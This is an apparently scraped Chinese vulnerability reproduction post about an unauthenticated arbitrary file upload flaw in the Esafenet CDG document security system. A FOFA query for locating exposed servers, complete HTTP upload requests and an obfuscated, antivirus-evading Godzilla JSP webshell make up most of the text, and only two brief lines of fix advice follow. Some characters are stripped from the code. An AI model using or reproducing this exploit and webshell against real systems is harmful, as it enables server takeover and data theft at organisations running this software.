西安免费做网站公司,网页设计简图,电子商务网站建设与维护的教学,软件开发实例0x01 产品简介 亿赛通电子文档安全管理系统#xff08;简称#xff1a;CDG#xff09;是一款电子文档安全加密软件#xff0c;该系统利用驱动层透明加密技术#xff0c;通过对电子文档的加密保护#xff0c;防止内部员工泄密和外部人员非法窃取企业核心重要数据资产…0x01 产品简介 亿赛通电子文档安全管理系统简称CDG是一款电子文档安全加密软件该系统利用驱动层透明加密技术通过对电子文档的加密保护防止内部员工泄密和外部人员非法窃取企业核心重要数据资产对电子文档进行全生命周期防护系统具有透明加密、主动加密、智能加密等多种加密方式用户可根据部门涉密程度的不同如核心部门和普通部门部署力度轻重不一的梯度式文档加密防护实现技术、管理、审计进行有机的结合在内部构建起立体化的整体信息防泄露体系使得成本、效率和安全三者达到平衡实现电子文档的数据安全。
0x02 漏洞概述 亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient接口处存在任意文件上传漏洞未经授权的攻击者可通过此漏洞上传恶意后门文件从而获取服务器权限。
0x03 影响范围 全局影响万级
0x04 复现环境 FOFAapp亿赛通-电子文档安全管理系统 0x05 漏洞复现
PoC
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0文件内容 实践 PS上传后根目录访问tttT.jsp即可 漏洞利用
生成哥斯拉免杀马
工具地址https://github.com/Tas9er/ByPassGodzilla 尝试上传
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0%! String govsb_NQ c1976fc471d32d0b;String govsb_rRDYrq62F Tas9er;class govsb_yYcq09pP504Xb extends /*edusb_Yd*/ClassLoader {public govsb_yYcq09pP504Xb(ClassLoader govsb_vLM8) {super/*edusb_QST55l*/(govsb_vLM8);}public Class govsb_qvs(byte[] govsb_pHH5nFhGBGJrs) {return super./*edusb_9lA81*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_vZLmO*/(govsb_pHH5nFhGBGJrs, 1099931-1099931, govsb_pHH5nFhGBGJrs.length);}}public byte[] govsb_VA(byte[] govsb_RDLs5gMnLdx7, boolean govsb_FJ1cLOh5) {try {j\u0061\u0076\u0061\u0078./*edusb_yyAR3cHFdavJGU*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_Bsa1 j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_ugUsn1*/(AES);govsb_Bsa1.init(govsb_FJ1cLOh5?1099931/1099931:1099931/10999311099931/1099931,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_AD7*/SecretKeySpec/*edusb_qvGt5qn*/(govsb_NQ.getBytes(), AES));return govsb_Bsa1.doFinal/*edusb_f5*/(govsb_RDLs5gMnLdx7);} catch (Exception e) {return null;}}%%try {byte[] govsb_tby6ZYM2tmeJCk java.util.Base64./*edusb_Hr5K*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_Wty*/decode(request.getParameter(govsb_rRDYrq62F));govsb_tby6ZYM2tmeJCk govsb_VA(govsb_tby6ZYM2tmeJCk,false);if (session.getAttribute/*edusb_7*/(payload) null) {session.setAttribute(payload, new govsb_yYcq09pP504Xb(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_RqwVLvZTZBVeCp3*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_V6FRLkLW*/.govsb_qvs(govsb_tby6ZYM2tmeJCk));} else {request.setAttribute(parameters, govsb_tby6ZYM2tmeJCk);java.io.ByteArrayOutputStream govsb_3 new java.io./*edusb_v9iBBl*/ByteArrayOutputStream();Object govsb_YCJ /*edusb_xLTC*/((Class) session.getAttribute(payload))./*edusb_Invmf*//*edusb_8Q5Mk*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_lSK4DHyA*/;govsb_YCJ.equals(govsb_3);govsb_YCJ.equals(pageContext);response.getWriter().write(9D0C38EF2C63233C8BB491A19883F59F.substring(1099931-1099931, 16));govsb_YCJ.toString();response.getWriter().write(java.util.Base64/*edusb_Qz*/.getEncoder()/*edusb_P9Bzr0TBcIv7y*/.encodeToString(govsb_VA(govsb_3.toByteArray(),true)));response.getWriter().write(9D0C38EF2C63233C8BB491A19883F59F.substring(16));}} catch (Exception e) {}
% 尝试连接 0x06 修复建议
设置安全组仅对可信地址开放
升级至安全版本
